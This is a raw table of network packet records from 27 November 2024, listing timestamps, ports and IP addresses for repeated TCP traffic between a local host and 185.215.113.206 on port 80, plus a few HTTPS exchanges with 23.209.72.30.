Nov 27, 2024 11:14:48.468674898 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.468720913 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.469466925 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.469511986 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.469547033 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.469593048 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.470278978 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.470324993 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.470359087 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.470397949 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.471115112 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.471152067 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.471163988 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.471194029 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.471939087 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.471990108 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.472090006 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.472136021 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.472829103 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.472889900 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.472920895 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.472961903 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.473725080 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.473743916 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.473778009 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.473793983 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.474546909 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.474589109 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.474632978 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.475281954 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.475357056 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.539525032 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.539540052 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.539596081 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.539838076 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.539900064 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.540043116 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.540095091 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.540738106 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.540785074 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.540895939 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.541121006 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.541562080 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.541577101 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.541627884 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.542593956 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.542671919 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.542777061 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.542848110 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.543234110 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.543298960 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.543339968 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.543390036 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.544086933 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.544163942 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.544382095 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.544435978 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.544959068 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.545053959 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.545111895 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.545841932 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.545890093 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.545906067 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.545968056 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.546646118 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.546703100 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.546766043 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.546808004 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.547533035 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.547595024 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.547624111 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.547663927 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.548280001 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.548346996 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.548407078 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.548537970 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.549169064 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.549220085 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.549314976 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.549371958 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.550014973 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.550086021 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.550148010 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.550255060 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.550806999 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.550873041 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.550905943 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.550951004 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.551800013 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.551814079 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.551867962 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.552606106 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.552655935 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.552675009 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.552714109 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.553364038 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.553431988 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.553464890 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.553503036 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.553822994 CET	443	49901	23.209.72.30	192.168.2.6
Nov 27, 2024 11:14:48.554254055 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.554368019 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.554416895 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.555167913 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.555182934 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.555232048 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.555265903 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.556056023 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.556107044 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.556294918 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.556339025 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.556768894 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.556797981 CET	49901	443	192.168.2.6	23.209.72.30
Nov 27, 2024 11:14:48.556819916 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.556828022 CET	443	49901	23.209.72.30	192.168.2.6
Nov 27, 2024 11:14:48.557018995 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.557086945 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.557229042 CET	443	49901	23.209.72.30	192.168.2.6
Nov 27, 2024 11:14:48.557543993 CET	49901	443	192.168.2.6	23.209.72.30
Nov 27, 2024 11:14:48.557606936 CET	443	49901	23.209.72.30	192.168.2.6
Nov 27, 2024 11:14:48.557658911 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.557677984 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.557704926 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.557722092 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.558530092 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.558542967 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.558590889 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.559253931 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.559367895 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.559418917 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.560156107 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.560168982 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.560220957 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.560993910 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.561006069 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.561048031 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.580250025 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.580391884 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.580424070 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.580465078 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.580713987 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.580768108 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.580929041 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.580974102 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.581608057 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.581619978 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.581672907 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.581684113 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.582653999 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.582700014 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.598469973 CET	443	49902	23.209.72.30	192.168.2.6
Nov 27, 2024 11:14:48.598759890 CET	49902	443	192.168.2.6	23.209.72.30
Nov 27, 2024 11:14:48.598774910 CET	443	49902	23.209.72.30	192.168.2.6
Nov 27, 2024 11:14:48.599775076 CET	443	49902	23.209.72.30	192.168.2.6
Nov 27, 2024 11:14:48.599853039 CET	49902	443	192.168.2.6	23.209.72.30
Nov 27, 2024 11:14:48.600805998 CET	49902	443	192.168.2.6	23.209.72.30
Nov 27, 2024 11:14:48.600857973 CET	443	49902	23.209.72.30	192.168.2.6
Nov 27, 2024 11:14:48.648753881 CET	49902	443	192.168.2.6	23.209.72.30
Nov 27, 2024 11:14:48.648756981 CET	49901	443	192.168.2.6	23.209.72.30
Nov 27, 2024 11:14:48.648781061 CET	443	49902	23.209.72.30	192.168.2.6
Nov 27, 2024 11:14:48.657604933 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.657649994 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.657664061 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.657716990 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.657805920 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.657881975 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.657933950 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.658662081 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.658727884 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.658801079 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.658891916 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.659503937 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.659604073 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.659658909 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.659774065 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.660356045 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.660398006 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.660414934 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.660461903 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.661262989 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.661278009 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.661340952 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.661340952 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.662059069 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.662139893 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.662195921 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.662293911 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.662950993 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.662976027 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.663037062 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.663037062 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.663727999 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.663809061 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.663832903 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.663902998 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.664712906 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.664731979 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.664783001 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.665417910 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.665488958 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.665513992 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.665626049 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.666239023 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.666286945 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.666337013 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.666440010 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.667072058 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.667184114 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.667212009 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.667319059 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.667967081 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.668068886 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.668128967 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.668207884 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.668823957 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.668994904 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.669018984 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.669045925 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.669662952 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.669717073 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.669799089 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.669872999 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.670512915 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.670572996 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.670600891 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.670659065 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.671329975 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.671418905 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.671446085 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.671494007 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.672359943 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.672375917 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.672513008 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.673017025 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.673063993 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.673086882 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.673136950 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.673906088 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.673919916 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.673969984 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.673969984 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.674684048 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.674818039 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.674844027 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.674885035 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.675523043 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.675570965 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.675648928 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.676398039 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.676412106 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.676444054 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.676469088 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.695380926 CET	49902	443	192.168.2.6	23.209.72.30
Nov 27, 2024 11:14:48.740766048 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.740817070 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.740832090 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.740864992 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.741203070 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.741251945 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.741281033 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.741322994 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.742043018 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.742055893 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.742100000 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.742865086 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.742925882 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.743079901 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.743172884 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.743680954 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.743731022 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.743819952 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.743943930 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.744601011 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.744688988 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.744721889 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.744740963 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.745381117 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.745440006 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.745471001 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.745516062 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.746206999 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.746288061 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.746315956 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.746359110 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.747037888 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.747090101 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.747184992 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.747268915 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.747941017 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.747993946 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.748006105 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.748043060 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.748855114 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.748876095 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.748955965 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.749727011 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.749816895 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.749838114 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.749895096 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.750638008 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.750649929 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.750704050 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.751555920 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.751574039 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.751604080 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.751642942 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.752160072 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.752252102 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.752273083 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.752306938 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.752966881 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.753016949 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.753045082 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.753091097 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.753777027 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.753844976 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.753897905 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.753937960 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.754615068 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.754662037 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.754712105 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.754781961 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.755583048 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.755594969 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.755636930 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.756481886 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.756562948 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.756592035 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.756982088 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.757225990 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.757237911 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.757285118 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.757301092 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.758054018 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.758137941 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.758172989 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.758243084 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.758893967 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.758949995 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.758956909 CET	80	49830	185.215.113.206	192.168.2.6
